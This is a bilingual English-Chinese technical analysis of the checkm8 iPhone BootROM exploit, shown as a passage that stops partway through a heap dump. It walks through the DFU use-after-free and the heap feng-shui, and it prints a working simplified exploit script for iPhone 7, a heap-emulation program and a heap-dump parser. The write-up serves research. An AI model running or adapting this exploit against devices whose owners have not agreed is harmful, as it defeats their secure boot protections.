checkm基因组_checkm8漏洞利用的技术分析

checkm基因组

Most likely you've already heard about the famous exploit checkm8, which uses an unfixable vulnerability in the BootROM of most iDevices, including iPhone X. In this article, we'll provide a technical analysis of this exploit and figure out what causes the vulnerability.

您很可能已经听说过著名的漏洞利用检查工具m8 ,该工具在包括iPhone X在内的大多数iDevices的BootROM中使用了不可修复的漏洞。 在本文中,我们将对此漏洞进行技术分析,并找出导致漏洞的原因。

You can read the Russian version here.

您可以在此处阅读俄语版本。

介绍 (Introduction)

First, let's briefly describe the booting process of an iDevice and the role BootROM (a.k.a. SecureROM) plays in it. Detailed information about it can be found here. Here's what booting looks like:

首先,让我们简要描述iDevice的启动过程以及BootROM (又名SecureROM )在其中扮演的角色。 可以在这里找到有关它的详细信息。 引导如下所示:

When the device is turned on, BootROM is executed first. Its main tasks are:

打开设备电源后,会首先执行BootROM 。 其主要任务是:

  • Platform initialization (necessary platform registers are installed, CPU is initialized, etc.)

    平台初始化(已安装必要的平台寄存器,初始化了CPU等)

  • Verification and transfer of control to the next stage

    验证并将控制权转移到下一阶段

    • BootROM supports the parsing of IMG3/IMG4 images

      BootROM支持对IMG3/IMG4映像的解析

    • BootROM has access to the GID key for decrypting images

      BootROM可以访问用于解密映像的GID密钥

    • for image verification, BootROM has a built-in public Apple key and necessary cryptographic functionality

      为了进行图像验证, BootROM具有内置的公共Apple密钥和必要的加密功能

  • Restore the device if further booting isn't possible (Device Firmware Update, DFU).

    如果无法进一步引导,请还原设备( Device Firmware UpdateDFU )。

BootROM has a very small size and can be called a light version of iBoot, as they share most of the system and library code. Although, unlike iBoot, BootROM cannot be updated. It is put in the internal read-only memory when a device is manufactured. BootROM is the hardware root of trust of the secure boot chain. BootROM vulnerabilities may allow an attacker to control the booting process and execute unsigned code on a device.

BootROM的体积非常小,可以称为iBoot版,因为它们共享大多数系统代码和库代码。 尽管与iBoot不同, BootROM无法更新。 在制造设备时将其放入内部只读存储器中。 BootROM是安全启动链信任的硬件根。 BootROM漏洞可能使攻击者可以控制引导过程并在设备上执行未签名的代码。

checkm8的历史 (The history of checkm8)

The checkm8 exploit was added to ipwndfu by its author axi0mX on September 27, 2019. At the same time, he announced the update on Twitter and provided a description and additional information about the exploit. According to the thread, he found the use-after-free vulnerability in the USB code while patch diffing iBoot for iOS 12 beta in the summer of 2018. BootROM and iBoot share most of their code, including USB, so this vulnerability is also relevant for BootROM.

checkm8漏洞已由其作者axi0mX于2019年9月27日添加到ipwndfu中 。与此同时,他在Twitter上宣布了更新,并提供了有关此漏洞的描述和其他信息。 据线程,他找到了use-after-free的漏洞USB代码,而补丁版本比较iBoot用于iOS 12 beta中的2018年夏季BootROMiBoot共享他们的代码,包括大多数USB ,因此这个漏洞也有关用于BootROM

As follows from the exploit's code, the vulnerability is exploited in DFU. This is a mode in which one can transfer a signed image to a device via USB that will be booted later. For example, this can be useful for restoring a device after an unsuccessful update.

如漏洞利用代码所示,该漏洞在DFU被利用。 在这种模式下,可以通过USB将签名的图像传输到设备,稍后再启动。 例如,这对于在更新失败后恢复设备很有用。

On the same day, the user littlelailo said that he had found that vulnerability back in March and published a description in apollo.txt. The description corresponded with checkm8, although not all the details of the exploit become clear upon reading it. This is why we decided to write this article and describe all the details of exploitation up to the execution of the payload in BootROM.

同一天,用户littlelailo表示他早在三月份就发现了该漏洞,并在apollo.txt中发布了描述。 该描述对应于checkm8 ,尽管并非所有的利用程序细节在阅读时都变得清楚。 这就是为什么我们决定写这篇文章并描述在BootROM执行有效负载之前的所有利用细节。

We based our analysis of the exploit on the resources mentioned above and the source code of iBoot/SecureROM, which was leaked in February 2018. We also used the data we got from the experiments done on our test device, iPhone 7 (CPID:8010). Using, checkm8, we got the dumps of SecureROM and SecureRAM, which were also helpful for the analysis.

我们基于上述资源和iBoot/SecureROM的源代码对漏洞利用进行了分析,该源代码于2018年2月泄漏。我们还使用了在测试设备iPhone 7 ( CPID:8010上进行的实验中获得的数据)。 使用checkm8 ,我们获得了SecureROMSecureRAM的转储,这也有助于分析。

有关USB的必要信息 (Necessary info about USB)

Since the vulnerability is in the USB code, it is necessary to understand how this interface works. Full specs can be found at https://www.usb.org/, but it's a long read. For our purposes, USB in a NutShell is more than enough. Here, we'll mention only the most relevant points.

由于该漏洞位于USB代码中,因此有必要了解此接口的工作方式。 完整的规范可以在https://www.usb.org/上找到,但是它有很长的篇幅。 就我们的目的而言, NutShell中的USB绰绰有余。 在这里,我们仅提及最相关的要点。

There are various types of USB data transfer. In DFU, only Control Transfers mode is used (read more about it here). In this mode, each transaction has 3 stages:

USB数据传输有多种类型。 在DFU ,仅使用“ Control Transfers模式( 在此处了解更多信息)。 在这种模式下,每个事务都有3个阶段:

  • Setup Stage — a SETUP packet is sent; it has the following fields:

    Setup Stage -发送SETUP数据包; 它具有以下字段:

    • bmRequestType — defines the direction of the request, its type, and the recipient

      bmRequestType定义请求的方向,其类型和接收者

    • bRequest — defines the request to be made

      bRequest —定义要发出的请求

    • wValue, wIndex — are interpreted depending on the request

      wValuewIndex —根据请求进行解释

    • wLength — specifies the length of the sent/received data in Data Stage

      wLength —指定Data Stage发送/接收的数据的长度

  • Data Stage — an optional stage of data transfer. Depending on the SETUP packet sent during the Setup Stage, the data can be sent from host to device (OUT) or vice versa (IN). The data is sent in small portions (in case of Apple DFU, it's 0x40 bytes).

    Data Stage -数据传输的可选阶段。 根据在Setup Stage发送的SETUP数据包,数据可以从主机发送到设备( OUT ),反之亦然( IN )。 数据按小部分发送(如果使用Apple DFU ,则为0x40字节)。

    • When a host wants to send another portion of data, it sends an OUT token and then the data itself.

      当主机要发送另一部分数据时,它将发送一个OUT令牌,然后发送数据本身。

    • When a host is ready to receive data from a device, it sends an IN token to the device.

      当主机准备好从设备接收数据时,它将向设备发送IN令牌。

  • Status Stage — the last stage; the status of the whole transaction is reported.

    Status Stage -最后阶段; 报告整个交易的状态。

    • For OUT requests, the host sends an IN token to which the device must respond with a zero-length packet.

      对于OUT请求,主机发送IN令牌,设备必须以零长度的数据包响应IN令牌。

    • For IN requests, the host sends an OUT token and a zero-length packet.

      对于IN请求,主机发送OUT令牌和零长度数据包。

The scheme below shows OUT and IN requests. We took out ACK, NACK, and other handshake packets on purpose, as they are not important for the exploit itself.

下面的方案显示了OUTIN请求。 我们故意取出ACKNACK和其他握手数据包,因为它们对于漏洞利用本身并不重要。

分析apollo.txt (Analysis of apollo.txt)

We began the analysis with the vulnerability from apollo.txt. The document describes the algorithm of the DFU mode:

我们从apollo.txt中的漏洞开始分析。 该文档描述了DFU模式的算法:

https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4 https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
  1. When usb is started to get an image over dfu, dfu registers an interface to handle all the commands and allocates a buffer for input and output

    当USB开始通过dfu获取图像时,dfu注册一个接口来处理所有命令,并为输入和输出分配一个缓冲区。
  2. if you send data to dfu the setup packet is handled by the main code which then calls out to the interface code

    如果将数据发送到dfu,则设置包将由主代码处理,然后调出接口代码
  3. the interface code verifies that wLength is shorter than the input output buffer length and if that's the case it updates a pointer passed as an argument with a pointer to the input output buffer

    接口代码验证wLength短于输入输出缓冲区的长度,如果是这种情况,它将使用指向输入输出缓冲区的指针更新作为参数传递的指针
  4. it then returns wLength which is the length it wants to recieve into the buffer

    然后返回wLength,这是它要接收到缓冲区的长度
  5. the usb main code then updates a global var with the length and gets ready to recieve the data packages

    然后,USB主代码使用长度更新全局变量,并准备好接收数据包
  6. if a data package is recieved it gets written to the input output buffer via the pointer which was passed as an argument and another global variable is used to keep track of how many bytes were recieved already

    如果接收到数据包,则会通过作为参数传递的指针将其写入输入输出缓冲区,并使用另一个全局变量来跟踪已经接收了多少字节
  7. if all the data was recieved the dfu specific code is called again and that then goes on to copy the contents of the input output buffer to the memory location from where the image is later booted

    如果接收到所有数据,则再次调用dfu特定代码,然后继续将输入输出缓冲区的内容复制到以后从中引导映像的内存位置
  8. after that the usb code resets all variables and goes on to handel new packages

    之后,usb代码将重置所有变量,然后继续处理新软件包
  9. if dfu exits the input output buffer is freed and if parsing of the image fails bootrom reenters dfu

    如果dfu退出,则释放输入输出缓冲区,并且如果图像解析失败,则bootrom重新输入dfu

First, we checked these steps against the source code of iBoot. We can't use the fragments of the leaked code here, so we'll use pseudocode we got from reverse-engineering the SecureROM of our iPhone7 in IDA. You can easily find the source code of iBoot and navigate it.

首先,我们对照iBoot的源代码检查了这些步骤。 我们在这里不能使用泄漏代码的片段,因此我们将使用从IDA中对iPhone7SecureROM进行反向工程得到的伪代码。 您可以轻松找到iBoot的源代码并进行导航。

When DFU is initialized, an IO buffer is allocated, and a USB interface for processing the requests to DFU is registered:

初始化DFU ,将分配IO缓冲区,并注册用于处理对DFU的请求的USB接口:

When the SETUP packet of a request to DFU comes in, a proper interface handler is called. For OUT requests (e.g., when an image is sent), in case of successful execution, the handler has to return the address of the IO buffer for the transaction as well as the length of data it expects to receive. Both values are stored in global variables.

当对DFU的请求的SETUP数据包进入时,将调用适当的接口处理程序。 对于OUT请求(例如,当发送图像时),在成功执行的情况下,处理程序必须返回IO缓冲区的地址以进行事务处理以及它希望接收的数据长度。 这两个值都存储在全局变量中。

The screenshot below shows the DFU interface handler. If a request is correct, then the address of the IO buffer allocated during the DFU initialization and the expected length of data from the SETUP packet are returned.

下面的屏幕快照显示了DFU接口处理程序。 如果请求正确,则返回在DFU初始化期间分配的IO缓冲区的地址和SETUP数据包的预期数据长度。

During the Data Stage, each portion of data is written to the IO buffer, and then the IO buffer address is offset and the received counter is updated. When all expected data is received, the interface data handler is called and the global state of the transaction is cleared.

Data Stage ,将Data Stage每个部分写入IO缓冲区,然后IO缓冲区地址偏移并更新接收到的计数器。 收到所有预期数据后,将调用接口数据处理程序,并清除事务的全局状态。

In the DFU data handler, the received data is moved to the memory area from which it will be loaded later. Based on the source code of iBoot, this area on Apple devices is called INSECURE_MEMORY.

DFU数据处理程序中,接收到的数据将移至存储区,以后将从该存储区中进行加载。 根据iBoot的源代码, Apple设备上的该区域称为INSECURE_MEMORY

When the device exits the DFU mode, the previously allocated IO buffer is freed. If the image was successfully acquired in the DFU mode, it will be verified and booted. If there was any error or it was impossible to boot the image, the DFU will be initialized again, and the whole process will repeat from the beginning.

当设备退出DFU模式时,先前分配的IO缓冲区将被释放。 如果在DFU模式下成功获取了映像,则将对其进行验证并启动。 如果有任何错误或无法引导映像,则DFU将再次初始化,并且整个过程将从头开始重复。

The described algorithm has a use-after-free vulnerability. If we send a SETUP packet at the time of image uploading and complete the transaction skipping Data Stage, the global state will remain initialized during the next DFU cycle, and we will be able to write to the address of the IO buffer allocated during the previous iteration of DFU.

所描述的算法具有“ use-after-free漏洞。 如果我们在上传图片时发送SETUP数据包并完成跳过Data Stage的交易,则全局状态将在下一个DFU周期内保持初始化状态,并且能够写入上一个分配的IO缓冲区的地址DFU迭代。

Now that we know how use-after-free works, the question is, how can we overwrite anything during the next iteration of the DFU? Before another initialization of the DFU, all the previously allocated resources are freed and the allocation of memory in a new iteration has to be exactly the same. As it turned out, there's another interesting memory leak error that allows exploiting use-after-free.

既然我们知道use-after-free工作原理,那么问题是,在DFU的下一次迭代中如何覆盖任何内容? 在再次初始化DFU之前,将释放所有先前分配的资源,并且新迭代中的内存分配必须完全相同。 事实证明,还有另一个有趣的内存泄漏错误,它允许利用use-after-free

checkm8分析 (Analysis of checkm8)

Let's get to checkm8 itself. For the sake of demonstration, we'll use a simplified version of the exploit for iPhone 7, where we took out all code related to other platforms and changed the order and types of USB requests without any damage to its functionality. We also got rid of the process of building a payload, which can be found in the original file, checkm8.py. It's easy to spot the differences between the versions for other devices.

让我们来checkm8本身。 为了演示起见,我们将使用iPhone 7漏洞利用iPhone 7的简化版本,在其中删除与其他平台相关的所有代码,并更改USB请求的顺序和类型,而不会对其功能造成任何损害。 我们还摆脱了构建有效负载的过程,该过程可以在原始文件checkm8.py 。 很容易发现其他设备版本之间的差异。

#!/usr/bin/env python

from checkm8 import *

def main():
    print '*** checkm8 exploit by axi0mX ***'

    device = dfu.acquire_device(1800)
    start = time.time()
    print 'Found:', device.serial_number
    if 'PWND:[' in device.serial_number:
        print 'Device is already in pwned DFU Mode. Not executing exploit.'
        return

    payload, _ = exploit_config(device.serial_number)
    t8010_nop_gadget = 0x10000CC6C
    callback_chain = 0x1800B0800
    t8010_overwrite = '\0' * 0x5c0
    t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)

    # heap feng-shui
    stall(device)
    leak(device)
    for i in range(6):
        no_leak(device)
    dfu.usb_reset(device)
    dfu.release_device(device)

    # set global state and restart usb
    device = dfu.acquire_device()
    device.serial_number
    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)

    time.sleep(0.5)

    # heap occupation
    device = dfu.acquire_device()
    device.serial_number
    stall(device)
    leak(device)
    leak(device)
    libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
    for i in range(0, len(payload), 0x800):
        libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
                                       payload[i:i+0x800], 50)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    if 'PWND:[checkm8]' not in device.serial_number:
        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
        sys.exit(1)
    print 'Device is now in pwned DFU Mode.'
    print '(%0.2f seconds)' % (time.time() - start)
    dfu.release_device(device)

if __name__ == '__main__':
    main()

The operation of checkm8 has several stages:

checkm8的操作分为checkm8几个阶段:

  1. Heap feng-shui

    堆风水
  2. Allocation and freeing of the IO buffer without clearing the global state

    在不清除全局状态的情况下分配和释放IO缓冲区

  3. Overwriting usb_device_io_request in the heap with use-after-free

    use-after-free覆盖覆盖usb_device_io_request

  4. Placing the payload

    放置有效载荷
  5. Execution of callback-chain

    执行callback-chain

  6. Execution of shellcode

    shellcode执行

Let's look at all stages in detail.

让我们详细了解所有阶段。

1.堆风水 (1. Heap feng-shui)

We think it's the most interesting stage, so we'll spend more time describing it.

我们认为这是最有趣的阶段,因此我们将花费更多的时间来描述它。

stall(device)
leak(device)
for i in range(6):
    no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)

This stage is necessary for arranging the heap in a way that is beneficial for the exploitation of use-after-free. First, let's consider the calls stall, leak, no_leak:

此阶段对于以有利于利用use-after-free的方式安排堆是必需的。 首先,让我们考虑一下调用stallleakno_leak

def stall(device):   libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001)
def leak(device):    libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1)
def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)

libusb1_no_error_ctrl_transfer is a wrapper for device.ctrlTransfer ignoring all exceptions arising during the execution of a request. libusb1_async_ctrl_transfer is a wrapper for the libusb_submit_transfer function from libusb for the asynchronous execution of a reqeust.

libusb1_no_error_ctrl_transfer为包装device.ctrlTransfer忽略一个请求的执行期间产生的所有异常。 libusb1_async_ctrl_transferlibusb libusb_submit_transfer函数的包装程序,用于异步执行需求。

The following parameters are passed to these calls:

以下参数传递给这些调用:

  • Device number

    设备编号
  • Data for the SETUP packet (here you can find the description):

    SETUP数据包的数据(您可以在此处找到说明 ):

    • bmRequestType

      bmRequestType

    • bRequest

      bRequest

    • wValue

      wValue

    • wIndex

      wIndex

  • Length of data (wLength) or data for the Data Stage

    数据长度( wLength )或数据Data StageData Stage

  • Request timeout

    请求超时

Arguments bmRequestType, bRequest, wValue, and wIndex are shared by all three request types:

参数bmRequestTypebRequestwValuewIndex由所有三种请求类型共享:

  • bmRequestType = 0x80

    bmRequestType = 0x80

    • 0b1XXXXXXX — direction of Data Stage (Device to Host)

      0b1XXXXXXXData Stage方向(设备到主机)

    • 0bX00XXXXX — standard request type

      0bX00XXXXX标准请求类型

    • 0bXXX00000 — device is the recipient of the request

      0bXXX00000 —设备是请求的接收者

  • bRequest = 6 — request to get a descriptor (GET_DESCRIPTOR)

    bRequest = 6 —请求获取描述符( GET_DESCRIPTOR )

  • wValue = 0x304

    wValue = 0x304

    • wValueHigh = 0x3 — defines the type of the descriptor — string (USB_DT_STRING)

      wValueHigh = 0x3 —定义描述符的类型—字符串( USB_DT_STRING )

    • wValueLow = 0x4 — index of the string descriptor, 4, corresponds to the device serial number (in this case, the string is CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33])

      wValueLow = 0x4 —字符串描述符的索引4,对应于设备序列号(在这种情况下,字符串为CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33] )

  • wIndex = 0x40A — the indentifer of the string's language, whose value is not relevant to exploitation and can be changed.

    wIndex = 0x40A —字符串语言的wIndex = 0x40A ,其值与利用无关,可以更改。

For any of these requests, 0x30 bytes are allocated in the heap for an object of the following structure:

对于这些请求中的任何一个,在堆中都会为以下结构的对象分配0x30字节:

The most interesting fields of this object are callback and next.

该对象最有趣的字段是callbacknext

  • callback is the pointer to the function that will be called when the request is done.

    callback是指向请求完成后将被调用的函数的指针。

  • next is the pointer to the next object of the same type; it is necessary for organizing the request queue.

    next是指向相同类型的下一个对象的指针; 有必要组织请求队列。

The key feature of stall is its use of asynchronous execution of a request with a minimum timeout. That is why, if we are lucky, the request will be canceled on the OS level and remain in the execution queue, and the transaction won't be complete. Plus, the device will continue receiving all the upcoming SETUP packets and place them, when necessary, in the execution queue. Later, experimenting with the USB controller on Arduino, we found out that for successful exploitation we need the host to send a SETUP packet and an IN token, after which the transaction has to be canceled due to timeout. This incomplete transaction looks like this:

stall的关键特征是它使用异步执行请求并具有最小超时。 这就是为什么,如果幸运的话,该请求将在操作系统级别被取消并保留在执行队列中,并且事务将无法完成。 另外,设备将继续接收所有即将到来的SETUP数据包,并在必要时将其放置在执行队列中。 后来,在Arduino上对USB控制器进行了试验,我们发现为了成功利用漏洞,我们需要主机发送SETUP数据包和IN令牌,此后由于超时而必须取消事务。 此不完整的交易如下所示:

Besides that, the requests only differ in length by one unit. For standard requests, there is a standard callback that looks like this:

除此之外,请求的长度仅相差一个单位。 对于标准请求,有一个如下所示的标准callback

The value of io_length is equal to the minimum from wLength in the request's SETUP packet and the original length of the requested descriptor. Due to the descriptor being quite long, we can control the value of io_length within its length. The value of g_setup_request.wLength is equal to the value of wLength from the last SETUP packet. In this case, it's 0xC1.

io_length的值等于请求的SETUP数据包中wLength的最小值和请求的描述符的原始长度。 由于描述符很长,我们可以将io_length的值控制在其长度内。 g_setup_request.wLength的值等于最后一个SETUP数据包中的wLength的值。 在这种情况下,它是0xC1

Thus, the requests formed by the calls stall and leak are completed, the condition in the terminal callback function is satisfied, and usb_core_send_zlp() is called. This call creates a null packet (zero-length-packet) and adds it to the execution queue. This is necessary for the correct completion of the transaction in Status Stage.

这样,由调用stallleak形成的请求就完成了,满足了终端callback函数中的条件,并usb_core_send_zlp() 。 该调用将创建一个空数据包( zero-length-packet ),并将其添加到执行队列中。 这对于在Status Stage正确完成交易是必要的。

The request is completed by calling the function usb_core_complete_endpoint_io. First, it calls callback and then frees the request's memory. The request is complete not only when the whole transaction is complete, but also when USB is reset. When the signal for resetting USB is received, all the requests in the execution queue will be completed.

通过调用函数usb_core_complete_endpoint_io完成请求。 首先,它调用callback ,然后释放请求的内存。 该请求不仅在整个事务完成时完成,而且在重置USB时也完成。 收到用于重置USB的信号时,执行队列中的所有请求将完成。

By selectively calling usb_core_send_zlp() when going through the execution queue and freeing the requests afterward, we can gain sufficient control over the heap for the exploitation of use-after-free. First, let's look at the request cleanup loop:

通过在执行队列中有选择地调用usb_core_send_zlp()并随后释放请求,我们可以获得对堆的充分控制,以利用use-after-free 。 首先,让我们看一下请求清理循环:

As you can see, the queue is emptied, and then the canceled requests are run and completed by usb_core_complete_endpoint_io. The requests allocated by usb_core_send_zlp are placed into ep->io_head. After the USB reset is done, all information about the endpoint will be clear, including the pointers io_head and io_tail, and the zero-length requests will remain in the heap. Thus, we can create a small chunk amidst the heap. The scheme below shows how it's done:

如您所见,队列被清空,然后被取消的请求由usb_core_complete_endpoint_io运行和完成。 usb_core_send_zlp分配的请求被放入ep->io_headUSB重置完成后,有关端点的所有信息都将清除,包括指针io_headio_tail ,零长度请求将保留在堆中。 因此,我们可以在堆中创建一个小的块。 以下方案显示了它是如何完成的:

In the heap of SecureROM, a new memory area is allocated from the smallest proper free chunk. By creating a small free chunk using the method described above, we can control the allocation of memory during the USB initialization, including the allocation of the io_buffer and requests.

SecureROM堆中,从最小的适当空闲块中分配了一个新的内存区域。 通过使用上述方法创建一个小的空闲块,我们可以控制USB初始化期间的内存分配,包括io_buffer和请求的分配。

To have a better understanding of this, let's see which requests to the heap are made when DFU is initialized. During the analysis of the iBoot source code and reverse-engineering of SecureROM, we got the following sequence:

为了更好地理解这一点,让我们看看初始化DFU时向堆发出了哪些请求。 在分析iBoot源代码和对SecureROM反向工程时,我们得到了以下顺序:

    1. Allocation of various string descriptors

      分配各种字符串描述符

      • 1.1. Nonce (size 234)

        1.1。 Nonce (大小234 )

      • 1.2. Manufacturer (22)

        1.2。 Manufacturer ( 22 )

      • 1.3. Product (62)

        1.3。 Product ( 62 )

      • 1.4. Serial Number (198)

        1.4。 Serial Number ( 198 )

      • 1.5. Configuration string (62)

        1.5。 Configuration string ( 62 )

    1. Allocations related to the creation of the USB controller task

      与创建USB控制器任务相关的分配

      • 2.1. Task structure (0x3c0)

        2.1。 任务结构( 0x3c0 )

      • 2.2. Task stack (0x1000)

        2.2。 任务堆栈( 0x1000 )

    1. io_buffer (0x800)

      io_buffer ( 0x800 )

    1. Configuration descriptors

      配置描述符

      • 4.1. High-Speed (25)

        4.1。 High-Speed ( 25 )

      • 4.2. Full-Speed (25)

        4.2。 Full-Speed ( 25 )

Then, request structures are allocated. If there's a small chunk in the heap, some allocations of the first category will go there, and all other allocations will move. Thus, we will be able to overflow usb_device_io_request by referring to the old buffer. It looks like this:

然后,分配请求结构。 如果堆中有一小块,则第一类的一些分配将进入该堆,所有其他分配将移动。 因此,通过引用旧缓冲区,我们将能够使usb_device_io_request溢出。 看起来像这样:

To calculate the necessary offset, we simply emulated all the allocations listed above and adapted the source code of the iBoot heap a little.

为了计算必要的偏移量,我们仅模拟了上面列出的所有分配,并稍微修改了iBoot堆的源代码。

在DFU中模拟对堆的请求 (Emulating requests to the heap in DFU)

#include "heap.h"
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>

#ifndef NOLEAK
#define NOLEAK (8)
#endif

int main() {
    void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    printf("chunk = %p\n", chunk);
    heap_add_chunk(chunk, 0x100000, 1);
    malloc(0x3c0); // alignment of the low order bytes of addresses in SecureRAM

    void * descs[10];
    void * io_req[100];
    descs[0] = malloc(234);
    descs[1] = malloc(22);
    descs[2] = malloc(62);
    descs[3] = malloc(198);
    descs[4] = malloc(62);

    const int N = NOLEAK;

    void * task = malloc(0x3c0);
    void * task_stack = malloc(0x4000);

    void * io_buf_0 = memalign(0x800, 0x40);
    void * hs = malloc(25);
    void * fs = malloc(25);

    void * zlps[2];

    for(int i = 0; i < N; i++)
    {
        io_req[i] = malloc(0x30);
    }

    for(int i = 0; i < N; i++)
    {
        if(i < 2)
        {
            zlps[i] = malloc(0x30);
        }
        free(io_req[i]);
    }

    for(int i = 0; i < 5; i++)
    {
       printf("descs[%d]  = %p\n", i, descs[i]);
    }

    printf("task = %p\n", task);
    printf("task_stack = %p\n", task_stack);
    printf("io_buf = %p\n", io_buf_0);
    printf("hs = %p\n", hs);
    printf("fs = %p\n", fs);

    for(int i = 0; i < 2; i++)
    {
       printf("zlps[%d]  = %p\n", i, zlps[i]);
    }

    printf("**********\n");

    for(int i = 0; i < 5; i++)
    {
        free(descs[i]);
    }

    free(task);
    free(task_stack);
    free(io_buf_0);
    free(hs);
    free(fs);

    descs[0] = malloc(234);
    descs[1] = malloc(22);
    descs[2] = malloc(62);
    descs[3] = malloc(198);
    descs[4] = malloc(62);

    task = malloc(0x3c0);
    task_stack = malloc(0x4000);
    void * io_buf_1 = memalign(0x800, 0x40);
    hs = malloc(25);
    fs = malloc(25);

    for(int i = 0; i < 5; i++)
    {
       printf("descs[%d]  = %p\n", i, descs[i]);
    }

    printf("task = %p\n", task);
    printf("task_stack = %p\n", task_stack);
    printf("io_buf = %p\n", io_buf_1);
    printf("hs = %p\n", hs);
    printf("fs = %p\n", fs);

    for(int i = 0; i < 5; i++)
    {
        io_req[i] = malloc(0x30);
        printf("io_req[%d] = %p\n", i, io_req[i]);
    }

    printf("**********\n");
    printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0);
    printf("hs_off  = %#lx\n", (int64_t)hs - (int64_t)io_buf_0);
    printf("fs_off  = %#lx\n", (int64_t)fs - (int64_t)io_buf_0);

    return 0;
}

The output of the program with 8 requests at the heap feng-shui stage:

该程序的输出在heap feng-shui阶段有8个请求:

chunk = 0x1004000
descs[0]  = 0x1004480
descs[1]  = 0x10045c0
descs[2]  = 0x1004640
descs[3]  = 0x10046c0
descs[4]  = 0x1004800
task = 0x1004880
task_stack = 0x1004c80
io_buf = 0x1008d00
hs = 0x1009540
fs = 0x10095c0
zlps[0]  = 0x1009a40
zlps[1]  = 0x1009640
**********
descs[0]  = 0x10096c0
descs[1]  = 0x1009800
descs[2]  = 0x1009880
descs[3]  = 0x1009900
descs[4]  = 0x1004480
task = 0x1004500
task_stack = 0x1004900
io_buf = 0x1008980
hs = 0x10091c0
fs = 0x1009240
io_req[0] = 0x10092c0
io_req[1] = 0x1009340
io_req[2] = 0x10093c0
io_req[3] = 0x1009440
io_req[4] = 0x10094c0
**********
io_req_off = 0x5c0
hs_off  = 0x4c0
fs_off  = 0x540

As you can see, another usb_device_io_request will appear at the offset of 0x5c0 from the beginning of the previous buffer, which corresponds to the exploit's code:

如您所见,另一个usb_device_io_request将出现在与前一个缓冲区的起始位置0x5c0处,这与漏洞利用代码相对应:

t8010_overwrite = '\0' * 0x5c0
t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)

You can check the validity of these conclusions by analyzing the current status of the SecureRAM heap, which we got with checkm8. For this purpose, we wrote a simple script that parses the heap's dump and enumerates the chunks. Keep in mind that during the usb_device_io_request overflow, part of the metadata was damaged, so we skip it during the analysis.

您可以通过分析当前状态的检查这些结论的有效性SecureRAM堆,我们用了checkm8 。 为此,我们编写了一个简单的脚本来分析堆的转储并枚举块。 请记住,在usb_device_io_request溢出期间,部分元数据已损坏,因此我们在分析期间将其跳过。

#!/usr/bin/env python3

import struct
from hexdump import hexdump

with open('HEAP', 'rb') as f:
    heap = f.read()

cur = 0x4000

def parse_header(cur):
    _, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30])
    is_free = t & 1
    prev_free = (t >> 1) & 1
    prev_size = t >> 2
    this_size *= 0x40
    prev_size *= 0x40
    return this_size, is_free, prev_size, prev_free

while True:
    try:
        this_size, is_free, prev_size, prev_free = parse_header(cur)
    except Exception as ex:
        break
    print('chunk at', hex(cur + 0x40))
    if this_size == 0:
        if cur in (0x9180, 0x9200, 0x9280):  # skipping damaged chunks
            this_size = 0x80
        else:
            break
    print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free)
    hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)])
    cur += this_size

The output of the script with comments can be found under the spoiler. You can see that the low order bytes match the results of emulation.

脚本的输出和注释可以在剧透器下找到。 您可以看到低位字节与仿真结果匹配。

在SecureRAM中解析堆的结果 (The result of parsing the heap in SecureRAM)

chunk at 0x4040
0x40 non-free 0x0 0
chunk at 0x4080
0x80 non-free 0x40 0
00000000: 00 41 1B 80 01 00 00 00  00 00 00 00 00 00 00 00  .A..............
00000010: 00 00 00 00 00 00 00 00  00 01 00 00 00 00 00 00  ................
00000020: FF 00 00 00 00 00 00 00  68 3F 08 80 01 00 00 00  ........h?......
00000030: F0 F1 F2 F3 F4 F5 F6 F7  F8 F9 FA FB FC FD FE FF  ................
chunk at 0x4100
0x140 non-free 0x80 0
00000000: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000080: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000090: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000A0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000B0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
chunk at 0x4240
0x240 non-free 0x140 0
00000000: 68 6F 73 74 20 62 72 69  64 67 65 00 00 00 00 00  host bridge.....
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
